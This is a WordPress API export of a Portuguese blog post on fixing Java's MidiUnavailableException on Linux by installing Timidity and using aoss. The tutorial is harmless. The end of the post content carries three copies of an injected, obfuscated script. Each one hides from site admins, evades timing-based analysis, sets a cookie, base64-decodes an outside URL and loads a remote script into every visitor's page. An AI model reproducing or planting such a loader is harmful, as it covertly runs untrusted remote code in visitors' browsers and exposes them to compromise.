{"id":1286,"date":"2011-04-04T08:44:55","date_gmt":"2011-04-04T11:44:55","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1286"},"modified":"2025-10-26T22:40:55","modified_gmt":"2025-10-27T01:40:55","slug":"midi-indisponivel-no-linux","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/04\/midi-indisponivel-no-linux\/","title":{"rendered":"MIDI Indispon\u00edvel no Linux"},"content":{"rendered":"<p style=\"text-align: justify;\">Ao trabalhar com MIDI usando a API do JavaSound \u00e9 necess\u00e1rio ter um dispositivo MIDI compat\u00edvel instalado no sistema operacional. Caso contr\u00e1rio, voc\u00ea ter\u00e1 o seguinte erro:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">javax.sound.midi.MidiUnavailableException\n\tat javax.sound.midi.MidiSystem.getDefaultDeviceWrapper(MidiSystem.java:1078)\n\tat javax.sound.midi.MidiSystem.getReceiver(MidiSystem.java:240)\n\tat javax.sound.midi.MidiSystem.getSequencer(MidiSystem.java:442)\n\tat javax.sound.midi.MidiSystem.getSequencer(MidiSystem.java:348)\n\tat JavaSound.main(JavaSound.java:167)\nCaused by: java.lang.IllegalArgumentException: Requested device not installed\n\tat javax.sound.midi.MidiSystem.getDefaultDevice(MidiSystem.java:1130)\n\tat javax.sound.midi.MidiSystem.getDefaultDeviceWrapper(MidiSystem.java:1076)\n\t... 4 more\n<\/pre>\n<p style=\"text-align: justify;\">Se sua placa de Som n\u00e3o tem suporte a MIDI, ou se o Linux n\u00e3o reconheceu, instale o Timidity, que \u00e9 um sequenciador MIDI via software muito bom, utilizando o seguinte comando:<em> sudo apt-get install timidity<\/em><\/p>\n<p style=\"text-align: justify;\">Execute o comando: <em>aplaymidi -l<\/em><\/p>\n<p style=\"text-align: justify;\">A sa\u00edda dever\u00e1 ser algo do tipo:<em><br \/>\n<\/em><\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n Port    Client name                      Port name\n 14:0    Midi Through                     Midi Through Port-0\n128:0    TiMidity                         TiMidity port 0\n128:1    TiMidity                         TiMidity port 1\n128:2    TiMidity                         TiMidity port 2\n128:3    TiMidity                         TiMidity port 3\n<\/pre>\n<p style=\"text-align: justify;\">Caso n\u00e3o apare\u00e7a nenhuma linha escrito TiMidity, reinicie o computador. O meu foi necess\u00e1rio, pois n\u00e3o sabia qual servi\u00e7o iniciar. Ap\u00f3s isso instale o alsa-oss: <em>sudo apt-get install alsa-oss<\/em><\/p>\n<p style=\"text-align: justify;\">Execute o seu aplicativo com a comando <em>aoss<\/em>. Por exemplo: <em>aoss java -jar JavaSoundDemo.jar<\/em>. Pronto! O erro some e o som aparece :).<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p><figure id=\"attachment_1294\" aria-describedby=\"caption-attachment-1294\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Java-Sound-Demo.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1294\" title=\"Java Sound Demo\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Java-Sound-Demo-300x186.png\" alt=\"Java Sound Demo\" width=\"300\" height=\"186\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Java-Sound-Demo-300x186.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Java-Sound-Demo.png 750w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1294\" class=\"wp-caption-text\">Java Sound Demo<\/figcaption><\/figure><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ao trabalhar com MIDI usando a API do JavaSound \u00e9 necess\u00e1rio ter um dispositivo MIDI compat\u00edvel instalado no sistema operacional. Caso contr\u00e1rio, voc\u00ea ter\u00e1 o seguinte erro: javax.sound.midi.MidiUnavailableException at javax.sound.midi.MidiSystem.getDefaultDeviceWrapper(MidiSystem.java:1078) at javax.sound.midi.MidiSystem.getReceiver(MidiSystem.java:240) at javax.sound.midi.MidiSystem.getSequencer(MidiSystem.java:442) at javax.sound.midi.MidiSystem.getSequencer(MidiSystem.java:348) at JavaSound.main(JavaSound.java:167) Caused by: <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/04\/midi-indisponivel-no-linux\/\">Continue lendo  <span class=\"screen-reader-text\">  MIDI Indispon\u00edvel no Linux<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,64],"tags":[],"class_list":["post-1286","post","type-post","status-publish","format-standard","hentry","category-java","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1286"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1286\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}